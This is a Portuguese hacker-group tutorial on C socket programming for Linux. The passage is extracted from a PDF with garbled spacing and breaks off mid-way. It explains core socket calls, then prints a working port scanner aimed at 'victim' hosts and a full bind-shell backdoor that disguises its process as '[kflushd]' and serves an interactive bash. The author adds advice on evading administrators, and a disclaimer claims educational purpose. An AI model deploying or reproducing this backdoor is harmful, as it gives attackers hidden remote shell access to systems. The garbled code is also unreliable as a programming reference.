You are on page 1of 27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

############################################################################
############################UNSEKURITYTEAM###############################
############################################################################
DesenvolvidoporNashLeonvulgocoraodeleao.
AgradecimentosparaRamona,Jovem_Bruxa_7,eprincipalmenteMAGICKISS.
nashleon@yoo.com.br
Vocepodeacharnovasversesdessetutorialnapaginaabaixo:
http://unsekteam.virtualave.net/>HomepagedogrupoUnsekurity.

PROGRAMACAODESOCKETSEMCP/LINUX
Essetutorialnotemointuitodeirfundonessamagnfica
ferramentadeprogramao,longedisso,ointuitosomenteintroduziro
iniciantenessemaravilhosomundoemostrarumpoucodoquesepodefazer
comisso.Tentaremosabordardeformasimpleseclaraosmeiosdesecriar
umsocket.Osexemplosaqumostradosbemcomoaformadeprogramaoso
voltadosparaaplataformalinux...digaselinuxslackware..demodoquepode
noserviremoutrasplataformas.
FazsenecessrioumconhecimentobasicodeCeRedesemgeral..um
TCP/IPcaiabem.
AVISO:NAONOSRESPONSABILIZAMOSPELOMAUUSODOMATERIALCONTIDONESSE
TEXTO,BEMCOMODOSEXEMPLOSAKIHDESCRITOS.ESSETEXTOFOICRIADO
SOMENTECOMPROPOSITOSEDUCACIONAIS.PORISSOLEMBRESE,NADADE
BOBAGENS!!!
TOPICOS
+FASEI:

*SOCKETSOquesaoeparaqueservem;
*TIPOSDESOCKETS;
*HEADERS;
*DECLARANDOUMSOCKET;
*DEFININDOUMAESTRUTURA;
*CONSTRUINDOUMSOCKET;
*AfunoCONNECT();
*ALGUMASBOBAGENS;
*PRIMEIROEXEMPLOPRATICO:portscan.
+FASEII:

*AfunoBIND();
*AfunoLISTEN();
*AfunoACCEPT();
*SEGUNDOEXEMPLOPRATICO:backdoor.
+FASEIII:

*ASFUNesSEND()ERECV();
SimplesExemplos:ServidorTCP,ClienteTCPeumDenialofService.
*ASFUNesWRITE()EREAD();
SimplesExemplo:Esqueletoparaenvirdadoscomwrite().
*TERCEIROEXEMPLOPRATICO:brutalforce.
+FASEIV:

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

1/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

*CONSIDERAesFINAIS;
*ALGUNSLINKSSOBREPROGRAMACAODESOCKETS;

FASEIOPARTO

***SOCKETSOQUESAOEP/QSERVEM!|

Naovoumeaprofundardescrevendoaorigemeanecessidadedosurgimento
dossockets..vamosagirdeformapratica,masteoriasemprebom,peskise
setivertempo,poisesseassuntofascinante.
Ossocketssaoosprogramasresponsaveispelacomunicaoouinterligao
deoutrosprogramasnainternet,porexemplo.Quandovocseconectaaum
servicoqualquertipo(telnet)vocestusandoumsocket,nocasochamase
arotinasocket()comoclientedoteulado..edoladodohostcomservico
umarotinadesocketservidor.Acreditosechegouatakpqjsabe
dissotudo,equerirmaisalem.Deformapratica,quandovocexecuta
umexploitremoto,vcusaumsocket,quandovccriaumtrojanremoto,usase
umsocket,quandovccapturapacotesexternamentevcusaumsocket,etc....

***TIPOSDESOCKETS!|

Existealgunstiposdesockets,masporenquantovamosnosaterapenasa2,
osdoismaissimples..demodoquesevckiserirmaisalemeescrever
programasqueseutilizemdeRAWSOCKETS,pacienciairmao,aindano
dessavezqueescreveremosparavc.Ostiposdesocketsqueiremostrabalhar
saoos"StreamSockets"eos"DatagramSockets",elestambmsaoconhecidos
como"SOCK_STREAM"e"SOCK_DGRAM",respectivamente.
+StreamSocketsusamTCP,saousadosemdiversaraplicaescomotelnet,www,
etc.Ospacotesaquisaosequenciais,seguemem2vias,vocpodeleregravar.
+DatagramsSocketsusamUDP.Ospacotesaquinosaosequenciais,operaem
1via,vocspodelerougravar,nuncaas2coisas.
Autilidadepraticadecadaumdelesvocverlogoembreve.Outros
tiposconhecidosdesocketssao:SOCK_SEQPACKETeSOCK_RDM,veremosmais
sobreessesdanumfuturotxt.

***HEADERS|

Existemalgunsheadersusadosemconjuntoparafacilitaraomaximoaprogramao
desockets..Eisalgunsak:
#include<sys/types.h>
#include<sys/sockets.h>
#include<netinet/in.h>
#include<netdb.h>
Lembrese:"Dependendodasituaovocpodernecessitardemaisheaders.
Porissoamigo,asmanpagessempreserosuasamigas.Antesde
usarumafuno,leiaarespectivamanpagedamesma."

***DECLARANDOUMSOCKET!|

P/sedeclararumsocketnotemmuitosegredo.Eledotipoint,declarase
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

2/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

normalmente.Ex:
main(){
intMeusocket;
...
}

***DEFININDOESTRUTURA|

Osdadosnecessariosdohostaquesekercomunicar,saodefinidosatraves
deumastruct.Astructusadaparaconexesnainternetasockaddr_in,e
possuiaseguintedeclarao:
structsockaddr_in{
shortintsin_family;/*Familiadoendereco*/
unsignedshortintsin_port;/*Numerodaporta*/
structin_addrsin_addr;/*IPdoHost*/
unsignedcharsin_zero[8];/*Zeraaestrutura,algumespacocomo
structsockaddr*/
}

sin_familypodeserumavariedadedecoisas,masgeralmenteseusamuma
dessasaqui:
+AF_INET(ARPAINTERNETPROTOCOLS)"Amaisusada"
+AF_UNIX(UNIXINTERNETPROTOCOLS)
+AF_ISO(ISOPROTOCOLS)
+AF_NS(XEROXNETWORKSYSTEMPROTOCOLS)
Aificariaalgocomo:
main(){
intMeusocket;
structsockaddr_invitima;
..
}

***CONSTRUINDOUMSOCKET|

Bempodemosdarinicionapraticaacontruodeumsocket.AContruode
umsocketsegueomodelo:
Meusocket=socket(sin_family,tipo_do_socket_desejado,Numero_protocolo);
Onde:
sin_familysaoessasjexplicadasacima;
tipo_do_socket_desejado,nonossocasoSOCK_STREAMouSOCK_DGRAM;
Numero_protocoloonmerocorrespondentedoprotocoloqsevai
trabalhar,ex:
0IPINTERNETPROTOCOL
1ICMPINTERNETCONTROLMESSAGEPROTOCOL
2IGMPINTERNETGROUPMULTICASTPROTOCOL
3GGPGATEWAYGATEWAYPROTOCOL
6TCPTRANSMISSIONCONTROLPROTOCOL
17UDPUSERDATAGRAMAPROTOCOL
Umexemplopraticoseria:
main(){
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

3/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

intMeusocket;/*Declarandoavariavelsocket*/
..
Meusocket=socket(AF_INET,SOCK_STREAM,0);
..
}
Feitoadeclaraoeacontruodoarquivosocket,nosseguimosadiantes
contruindoastructcomdadosdohostquesedeseja,nossocasoavitima.
Ficariaumesquemaigualaesse:
structsockaddr_invitima;
vitima.sin_family=AF_INET/*Nossasin_familynoexemploacima*/
vitima.sin_porta=htons(PORTA)/*Aquioesquemaoseguinte:
htonssignifica"hosttonetworkshort",como
shorttrabalhacom2bytes,mashaainda
outrostiposcomo:htonl("hosttonetwork
long",4bytes),nts("networktohost
short",2bytes),ntl("networktohost
long",4bytes).*/
vitima.sin_addr.s_addr=inet_addr(ip_da_vitima);/*Aquiocorreaaquisiodo
enderecoipdavitima,comona
declaraoacimaemstruct
sockaddr_in,aquisomenteo
ip,noaindaodominio*/
bzero(&(vitima.sin_zero),8);/*Zeraorestodaestrutura*/
Vamosveragoracomodefatoestnossoexemploinicial:
/*acrescenteosheadersnecessarios*/
main(){
intMeusocket;
structsockaddr_invitima;
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)/*Aquifazseumasimpleschecagemdeerro*/
{
perror("Socket");
exit(1);
}
vitima.sin_family=AF_INET;
vitima.sin_port=htons(31337);
vitima.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}
Vamoscaminhandomaisafrente,jtemosdeclaradoeconstruidooarquivo
socket,nocasoMeusocket,eastructdeconexo,nocasoavitima.Agora
vamosparaumafunomuitousadanaconexo,afunoconnect(),quefar
oeloentreo"Meusocket"ea"vitima".

***AfunoCONNECT()|

Essaaconhecidafunoresponsavelpelaconexotelnet(essaquemuita
genteusaparafinsnadaconvencionais).Essafuno,comooproprionome,diz
afunoresponsavelpelaconexodeseusocketcliente,comumservico
servidorqualquer.
Osheadersnecessariosparaousodessafunosao:
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

4/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<sys/socket.h>
Umavezdeclaradoosheaders..vamosdeclararafunopropriamentedita:
intconnect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima));
Deformabempratica,declaramosafunoconnect(),onde:
+Meusocket>nossoarquivosocket.
+vitima>Ohostquequeremosconectar(struct).
Comopodemosver,notaocomplicadoassim..fazeroditocujo,mas
sejchegamosataqui,podemosmostrarumexemplopraticodetudo
quefoiescritoaemcima..mascalma,primeiroveremoscomoficounosso
programaporinteiro.
/*headersnecessarios*/
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
main(){

intMeusocket;

structsockaddr_invitima;

intConector;

Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)/*Aquifazseumasimpleschecagemdeerro*/
{

perror("Socket");

exit(1);
}

vitima.sin_family=AF_INET;
vitima.sin_port=htons(31337);
vitima.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);

Conector=connect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima));
if(Conector<0)/*Maisumachecagemdeerro*/
{

perror("Connect");

exit(1);
}

Voceagoradeveestarseperguntando,sejseicomodeclararumsocket(),
seifazerastructdavitima,etambmjseimeconectaremalgumacoisa
entao,oquepossoeufazercomissotudo??Calmaamigo..abaixosegueumas
bobagensamais,mascomobasicoaemcimavocjpodefazermuita
coisa...Haquemdigaqueno..masvamosl.

***ALGUMASBOBAGENSP/MOSTRAREXEMPLOPRATICO|

Segueagoraalgumasfunoquenononecessarias,masquevaoajudar
a"embelezar"oexemploqueseseguir,paraquenohajaduvidasquanto
oconhecimentodoautor,evisandooesclarecimentodealgumascoisaque
defatosaouteis.
+funogethostbyname();

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

5/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

Porfrescuriteouno,asvezesvocqueraoinvesdedigitaroipda
vitima(hostquesequerconectarouetc),vocquerdigitarseudomain.
Exemplo:aoinvesdedigitar127.0.0.1vocpreferedigitarlocalhost.
Muitasaplicaesseguemesseesquema..bem,paraqueissopossaocorrer,
comoestamostrabalhandocomC,usamosumafunochamagethostbyname(),
essafunodeclaradadaseguinteforma:
#include<netdb.h>/*Talvezhajavariaodesseheader,bomdarumman
gethostbynameparasecertificar,mano!!*/
structhostent*gethostbyname(char*name);
Comosepodevereleretornaumponteiroparaumastructquepossuia
seguintedeclarao:
#defineh_addrh_addr_list[0]/*endereco,paracombatibilizar
omodoinverso(reverso)*/
structhostent{
char*h_name;/*Nomeoficialdohost*/
char**h_aliases;/*Listadealiases*/
inth_addrtype;/*Tipodeenderecodohost*/
inth_length;/*Tamanhodoendereco*/
char**h_addr_list;/*Listadeenderecosdo
servidordenomes*/
};
Vamosanalisaragoracadamembrodaestrutura:
h_name>Nomeoficialdohost.
h_aliases>Umaarrayterminadaemzerodenomesalternadosparaohost.
h_addrtype>Otipodoenderecoqueestsendoretornado.Ex:AF_INET.
h_length>OTamanhoembytesdoendereco.
h_addr_list>Umaarrayterminadaemzerodoenderecodaredeparaohost.
OenderecodoHostretornadoemnbo(networkbyteorder).
eadefinio:
h_addr>Ehoprimeiroenderecoemh_addr_list;Istopara
compatibilizaromodoinverso,ouainversao.Quandovocdigita
localhostsaberque127.0.0.1,porexemplo.

+funogetservbyport();

Oproprionometambmjdenunciaessada.Essafunoenviaoudiz
paravocqualoservicoqueestrodandonumadeterminadaporta,usando
comoreferenciaoseuarquivo/etc/services.Ehbomanteressearquivo
integro,senoreceberresultadoserradosnoexemploquelogoseguir.
Masvamosl,afunogetservbyport()seguedeclaradadessejeito:
#include<netdb.h>/*Headernecessario..lembrese,manpages*/
structservent*getservbyport(intport,constchar*proto);
Aestruturaserventdefinidadaseguinteformaem<netdb.h>:
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

6/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

structservent{
char*s_name;/*Nomeoficialdoservico*/
char**s_aliases;/*Listadealiases*/
ints_port;/*Numerodaporta*/
char*s_proto;/*Protocoloparausar*/
}
analizando:
s_name>Nomeoficialdoservico.Ex:ftp,telnet,echo.
s_aliases>Umlistaterminadaemzerodenomesalternativosparao
servico.
s_port>Onmerodaportareferenteaoservico,dadoemNBO(Network
ByteOrder)
s_proto>Onomedoprotocoloparausarcomesteservico.

***PRIMEIROEXEMPLOPRATICO|

Bem,comasinstruesacima,jpodemosfazeralgumascoisinhas,a
utilidadevariaconformeocerebroqueestusandoasinformaes
acimaditas.Abaixosegueumexemplodeumportscan,quescaneiausando
afunoconnect().Essemetodomuitousadoainda,masnoumbom
mtodo,poisdefcildeteco.Maspelafacilidadecomqueseescreve
umprogramadessetipo,sernossoprimeiroexemplo,maisafrentens
veremoscoisasmaisteis,emaiscomplexas.Esseportscanservesomente
paraserviostcp,poisusaSOCK_STREAM,jexplicadoacima.
Exemplodeportscan
/*SimplesPortScanusandoafunoconnect().
DesenvolvidoporNashLeon.UnsekurityTeam.
ThanksRamona.
compilacom:$gccoportscanportscan.c
oucomobemquiser.
*/
/*Headersnecessarios*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/signal.h>
#include<errno.h>
#include<netdb.h>
/*Definiodasportas(inicialefinal)casoestasnosejam
digitadasnalinhadecomando*/
#definePORTA_INICIAL1
#definePORTA_FINAL7000
main(intargc,char*argv[])

charhost[15],*ip;

intporta_inicial,porta_final,portas,i,meusocket;
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

7/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

structsockaddr_invitima;

structhostent*he;

structservent*servico;

if(argc==1)

fprintf(stderr,"**********************************************************\n");

fprintf(stderr,"*************SimplesPortScanusando
Connect()************\n");

fprintf(stderr,"****************DesenvolvidoporNash
Leon****************\n");

fprintf(stderr,"**********************************************************\n");

fprintf(stderr,"Uso:%s<host_vitima><porta_inicial>
<porta_final>\n",argv[0])

;exit(0);

if(argc>1)
{

porta_inicial=PORTA_INICIAL;

porta_final=PORTA_FINAL;
}
if(argc>2)
{

porta_inicial=atoi(argv[2]);

porta_final=atoi(argv[3]);
}

/*Aquiteminiciooscaneamento,comecandoacontagemcomporta_inicial
eterminandoemporta_final*/

for(portas=porta_inicial;portas<porta_final;portas++){

/*Declaraodegethostbyname*/

he=gethostbyname(argv[1]);

if(he==NULL)

printf("Erro:HostDesconhecido!!\n");

exit(1);

/*Declaraodoarquivosocket*/

meusocket=socket(AF_INET,SOCK_STREAM,0);

if(meusocket<0)

perror("Socket");

exit(1);

/*Abaixoadeclaraodaestruturadavitima*/

vitima.sin_family=he>h_addrtype;/*Tipodoenderecoretornado,nocaso
AF_INET.*/

vitima.sin_port=htons(portas);

vitima.sin_addr=*((structin_addr*)he>h_addr);/*P/compatibilizaro
processoinverso*/

bzero(&(vitima.sin_zero),8);

/*funoconnect(),elavaiseconectaraportadohostvitima,se

receberumarespostanegativa,nocaso(1),elafechaosocket,mas

comoestamosdentrodeumprocessofor,abriraoutrosocketcomoutra

porta,equandoarespostadavitimaforpositiva(0),seguiraa
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

8/27

08/10/2015

(servico==N

}
}

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

diretivaelseabaixo.*/
if(connect(meusocket,(structsockaddr*)&vitima,sizeof(vitima))==1)
{

close(meusocket);
}
/*Aquitemosgetservbyportnosdizendoqualservicocorrespondeaporta
quefoiencontradaaberta.SeservicoforigualaNULL,teremos
"Desconhecidocomosaida,seno,elenosdiroservico,baseadoem
nosso/etc/services*/
else
{

servico=getservbyport(htons(portas),"tcp");
printf("Aporta%destaabertamano!!OServico[%s]\n",portas,

ULL)?"Desconhecido":servico>s_name);
}
close(meusocket);

fimdoprimeiroexemplo
OBS:Bemamigo,noaconselhvelvocusaresseprogramadescritoacima
paraoutrospropsitos,anoseraprenderaconstruiretrabalharcom
sockets.Primeiro,notenhocerteza,masscanearumarededeveser
ilegal,vaiaumtoque,qualquercoisadigam:"Umamigodisseque
eraadministradordaredeepediuparaeuscaneararedeparaele,pois
elenotinhascanner!Masqueamigo?Umqueconhecinoirc!!:)";
Segundo,existemferramentasmelhoresebemmaispoderosasqueessa,
taiscomonmap,queso,etc...quejvemprontinhasparaessesfins;
Terceiro,comoaumentodossistemasdedeteco,comoadventodebons
firewalls,ecoma"capacitao"dopessoaldaseguranca,essa
tcnicadescritaacimanonadaboa.Maisembaixoveremosalgumas
ferramentaseteoriasmaisinteressantes.Pegueoconceito,umdia
voctalvezterquefazerseuprprioscannerstealph(quenose
deixalogar,invisvel).
Vamosseguindoemfrentenessajornadaembuscadecoisasmaisprticas
nosnossosdias.Chegamosnafase2donossojogocomsockets,essafase
interessante,sevoctemmuitosneurnios,nohesiteemqueimlos,
massestiveroticoeteco,comoeu,:),avaiumascoisinhasque
aprendibotandoos2paratrabalhar.Depoisseguiroutroexemploprtico
comasdeclaraesabaixo:
FASE2ENGATINHANDO

***Afunobind()|

Uneumnomeaoseusocket.
Demodobemprtico,essafunoserveparaassociarumaportaemsua
mquinalocalparaoseusocket.Essafunomuitousadacomoutra
funo,alisten(),maisnafrenteveremosalgosobreessafuno.
Afunobind()muitousadaemservidores,socketservidor.
Veremosagoracomodeclaradaessafuno:
/*Headersnecessrios,vejamanbind()*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

9/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<sys/socket.h>
intbind(intMeusocket,structsockaddr*local,intaddrlen);
onde:
+Meusocket>Nossovelhoconhecido,omesmodoscasosanteriores.
+local>Oesquemaaquioseguinte,aoinvsdedeclarar
comosendovtima,declararemoscomooendereo
local,nooremoto.aestruturasertodavoltada
paraamquinalocal,ondevaiserexecutadooprograma.
+addrlen>Tamanhodotipodaestruturaqueestsetrabalhando,

geralmenteusasesizeof(structsockaddr).
Eisobsicodessafuno.Abaixosegueumexemplodedeclaraodamesma
dentrodeumprogramaqualquer:
/*Headers*/
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#defineMINHA_PORTA20000
main(){

intMeusocket;

structsockaddr_inmeu_endereco;

Meusocket=socket(AF_INET,SOCK_STREAM,0);
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);

...
}

bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));

Podemosnotarqueadeclaraosemelhanteaoesquemadoprimeirocaso,
ondeaoinvsdemeu_endereco,nstinhamosvtima.Paranossosobjetivos
meu_enderecorefereseaoendereolocal,damakinaondeseexecutao
programa,evtimaserefereaumendereoremoto.Veremosmaisadiante
queoqueeudisseapodeconfundir,poisdependedomodocomosevas
coisas,fiqueatentoenoterproblemas.Leveemconsideraoapenas
osprocessosclienteeservidor,achoqueassimmelhor..:).

***AFUNOlisten()|

Essafunotambmnotemnadademais.Oseunometambmjdizoporque
deseusarela.Elaescutaoumelhordizendo,esperaumadeterminada
conexoemumsocket.Paraaceitarumaconexo,umsocketprimeirocriado
usandoafunosocket(),apsacriaodomesmo,afunolisten()entra
parasetaronmerodeconexesqueseropermitidasparadeterminadoservio.
Umexemploprticodissoousodeftpsquepermitemat20conexes
porexemplo.Vocentraerecebeumamensagemtipo:"Voceo#5usurio
de20!",coisadessetipo.Afunolisten()muitousadaemservidores
hajavistoessanecessidade,masexistemoutrasutilidadestambmparaela
quesoteisparaosnossospropsitos.Veremosissodepois.
Afunolisten()declaradadaseguinteforma:
/*Header*/
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

10/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<sys/socket>
intlisten(intMeusocket,intbacklog);
onde:
+Meusocket>Nossoamigodenovo,omesmodesempre.
+backlog>backlogumnmerointeiroresponsvelpelototal
deconexesqueseropermitidasparaoservio.Muitos
sistemaslimitamessenmeroat20,vocpodeficar
limitadode5a10.Asconexesfuturasficaroesperando
atqueoservidoraceite,paraissousaseafuno
accept(),queexplicaremosmaisabaixo.
Comoiremospermitirmaisdeumaconexo,sefaznecessrioquedeclaremos
umoutrosocket()queseroresponsvelpelasfuturasrequisiesde
conexo.Poderiamosdeixarparadefinircomafunoaccept(),porqueesse
novosocketsseraceitoapsoprimeiro,masemtodocaso,elejvai
declaradoabaixoparafacilitarascoisas.
Umesquemaprticoparaanossafunolisten,seriauslaemconjuntocom
afunobind()descritaacima.Ficariaassim:
/*Headers*/
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#defineMINHA_PORTA20000
main(){
intMeusocket;
intNovoSocket;/*Esteesperaavezdele,listenoenumerarparaquefaa
aconexodepois*/
structsockaddr_inlocal;
/*DeclaraodeMeusocketedaestruturaquefecharaconexo
nocaso"local"*/

Meusocket=socket(AF_INET,SOCK_STREAM,0);
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));
listen(Meusocket,5);
...
}
Bem,nossoexemplosdemonstrativo,parairmoscomcalma,nodpara
fazermuitacoisacomissoda,masveremosagoraumaoutrafuno
muitoimportantemuitousadaemsocketsservidores.

***Afunoaccept()|

Essafunotambmnotemmuitosegredo,elaafunoresponsvel
poraceitarumaconexoemumsocket.Umsocketclientepedepermisso
paraumsocketservidorparaqueambossecomuniquem,essafunosera
quedecidirofuturodaconexo,seaceitaourejeita.
Vamosadeclaraodela:
/*Headers*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

11/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

#include<sys/socket.h>
intaccept(intMeusocket,structsockaddr*remoto,socklen_t*remotolen);
onde:
+Meusocket>osocketdoservidor,onossoexemplodasseesacima.
+remoto>Aquioesquemaoseguinte,seroendereoremoto,como
nsestamosfazendoopapeldeservidor,esseditocujoseria
oclientenocaso.Poderiasereferiraeletambmcomoremoto,
jqueaestruturaquedeclaramosalocal.
+remotolen>otamanhodaestruturaqueseesttrabalhando.
Trabalharemoscomsockaddr_in,logoseria
sizeof(structsockadd_in).
Veremoscomoficariaoesquemadeumsimplessocketservidoragora:
/*Headers*/
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<netinet/in.h>
/*Seguedefiniodaportaedonmerodeconexesquesero
permitidasamesma,chamadaaquideBACKLOG.*/
#defineMINHA_PORTA20000
#defineBACKLOG5
main(){

intMeusocket,Novosocket;/*listen()emMeusocket,novaconexoem
Novosocket*/
structsockaddr_inlocal;
structsockaddr_inremoto;
inttamanho;

bzero(&local,sizeof(local));/*Zeraaestrutura*/
local.sin_family=AF_INET;
local.sin_port=htons(29999);
local.sin_addr.s_addr=INADDR_ANY;/*aquiINADDR_ANYserresponsvel
porpegarnossoendereodiretamente
doprpriosistema.*/
bzero(&(local.sin_zero),8);
/*Declaraodosocket()*/
Meusocket=socket(AF_INET,SOCK_STREAM,0);
/*Seguemabaixodeclaraodebind()elisten()*/
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr);
listen(Meusocket,BACKLOG);
tamanho=sizeof(structsockaddr_in);/*Declaramosessavariavelpara
melhoraroalgoritmotaosomente*/

while(1)/*loopessencialparaaccept()*/
/*Eisaafunoaccept()
NovoSocket=accept(Meusocket,(structsockaddr*)&remote,&tamanho);

Oesqueletoacimapodeserbastantetil,colocaremosabaixoumexemplo
prticodasfunesdescritasnessafase.Nadaporenquantodecomplexo,
achoquenemvaiter,programarsocketsemCnonemmesmotrabalhoso,
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

12/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

sim,levandoemcontaqueescrevoparaaquelesquepassamnoites,semanase
mesesembuscadeumdiapoderemacharum"furodereportagem".
Ostermostemvariadoealgunsatperderamsentido,mascreioqueos
pesquisadoresdeverdade,anteschamados"Newbies"merecemsimtodoo
respeitoeconsiderao,paraelesquevoessaslinhasdetexto,bem
comotodososexemplosprticos.Quantoa"Elite",comoelasempreesquece
queumdiafoiigualaessespesquisadoresqueacabodemencionar,paraela,
quejpossuisuamente"formada",emuitasdasvezesseautointitula
antitica,nuncavfuadordeverdadequenoobeaasregrasdatica,
masdequalquerforma,enquantoessa"Elite"noseunir,arodanovai
girar,easegurancasempreficarcantandodegalo,comoestohojeemdia,
temgentequetrabalhanaseguranadasgrandescompanhiaseseconsidera
fuador!!:)..seiondevocsandamfuandoviu!!
Manifestosaparte,abombamaiorvirdepois,vamosseguircomum
exemploprticodeumprogramaservidor,maiscomumentechamadode
backdoor,maspodesertambmumtrojan,sdependedenossosneurnios.

***SEGUNDOEXEMPLOPRTICO|

Esseprogramacopiaumashellparaumadeterminadaporta,eleamplamente
difundidonaInternetcomonomedebindshell,maspossuimuitasvariaes,
parapropsitoseducacionaiseucrieiumabackdoorbaseadanesseprograma,
demodoquetornassemaisclaroonossoaprendizado.
BackdoorusandoSocket
/*BackdooremSocketsimples...byNashLeon
ThanksRamonaeUnsekurityTeam.
nashleon@yoo.com.br
http://unsekurity.virtualave.net
Compileusando:
$gccobackback.c
*/
/*HEADERS*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<strings.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<signal.h>
#defineMINHA_PORTA20000/*Aportadoservidor*/
#defineBACKLOG5/*Atquantasconexes*/
intmain(intargc,char*argv[])
{

intMeusocket,Novosocket,tamanho;
structsockaddr_inlocal;
structsockaddr_inremote;

/*Criaumprocessocriancaoumenor,paranonecessitarexecutar
usando&*/
if(fork()==0){

/*Aquisegueaesperteza..sealgumderpsaux,top,ouverosprocessos
queestaorodandoveroqueestcopiadoabaixo,nocaso[kflushd],

http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

13/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

mudeissoconformeosistemaondeserexecutadaabackdoor*/

strcpy(argv[0],"[kflushd]");
signal(SIGCHLD,SIG_IGN);

/*Criandoaestruturalocal(servidor)*/

bzero(&local,sizeof(local));
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=INADDR_ANY;
bzero(&(local.sin_zero),8);

/*Declaraodosocket(),bind()elisten()*/

Meusocket=socket(AF_INET,SOCK_STREAM,0);

bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));

listen(Meusocket,BACKLOG);

tamanho=sizeof(structsockaddr_in);

/*Ovelhowhile(1)paraserusadocomnossonovoaccept()*/

while(1)

if((Novosocket=accept(Meusocket,(structsockaddr
*)&remote,&tamanho))==1)

perror("accept");

exit(1);

if(!fork())

close(0);close(1);close(2);

/*dup2()aquiusadoparacriarumacopiadeNovosocket
*/

dup2(Novosocket,0);dup2(Novosocket,1);
dup2(Novosocket,2);

/*Entaoashellexecutada,nessecasoumabash

Mudeaparaqualquerumaquequiser,eatenoao

parmetroi,nemtodasaceitamshellinterativa*/

execl("/bin/bash","bash","i",(char*)0);

close(Novosocket);

exit(0);

return(0);
}
FimdoSegundoExemplo
Algumasconsideraesarespeitododitocujoadecima;Primeiro,
esseditocujopossuiumaporta20000,podeserusadoemmuitossistemas
porusurioscomuns(noroot),geralmenteasportasbaixassoroot
podemanipular,ataporta1024.Atparadificultarapercepode
admindessabackdoor,inteligentecolocarnumaportaalta,
nomuitoconhecida,nocoloqueemportaselitescomo12345ou31337,
faaseuprprioesquema;colocareiosourcedepoismaisinteressante;Segundo
quandoumclienteseconectaaessabackdoor,elecanumashellcom
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

14/27

08/10/2015

wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt

argumentoi,oushellinterativa,senoquiserouosistemanoaceitar
esseargumento,retirea,issomudadesistemaedetipodeshelltambm;
Terceiro,esseprogramanoprtico,jconhecido,muitoconhecido,de
modoqueumabackdoordefcildeteco,quando,lgico,oadminum
cararesponsvel,existemuitacoisaboapora,comobackdoorsemkernel
modules,emcdigosfontesquelhedoshellnumsimplespassedemgica
ounumsimplestoquedetecla:);bemcomobonsrootkits,algunspouco
conhecidoscapazesdetornarvoc"invisvel"numsistema.Comotodosos
exemplosaquisodepropsitopuramenteeducacional,nonos
responsabilizamospelousodosmesmos.Creioamigo,quebackdoor
pessoal,comoacoisavem"esquentando",opessoaldaseguranatem
trabalhadomais,cabeavocpensarnumabackdoorsuamesmo,para
determinadosistema,umacoisabemespecfica,numoutroTXT,falaremos
bemmaissobreisso,porenquanto,pense,penseepense!
Masvamosseguindo,chegadeconversafiada,vamosparaafase3dessenosso
joguinhocomsockets,umafasebeminteresssanteevocssaberooporque.
FASEIIIMANDANDOBALA

ASFUNESsend()erecv()|

Comosempre,nohmisterios,osprpriosnomestambmdenunciamessas
funes.EssasduasfunessoparacomunicaoemStreamsocketse
Datagramssockets.Afunosend()usadaparaenviarumamensagemparaum
socket,econsequentementeafunorecv()usadaparareceberdadosem
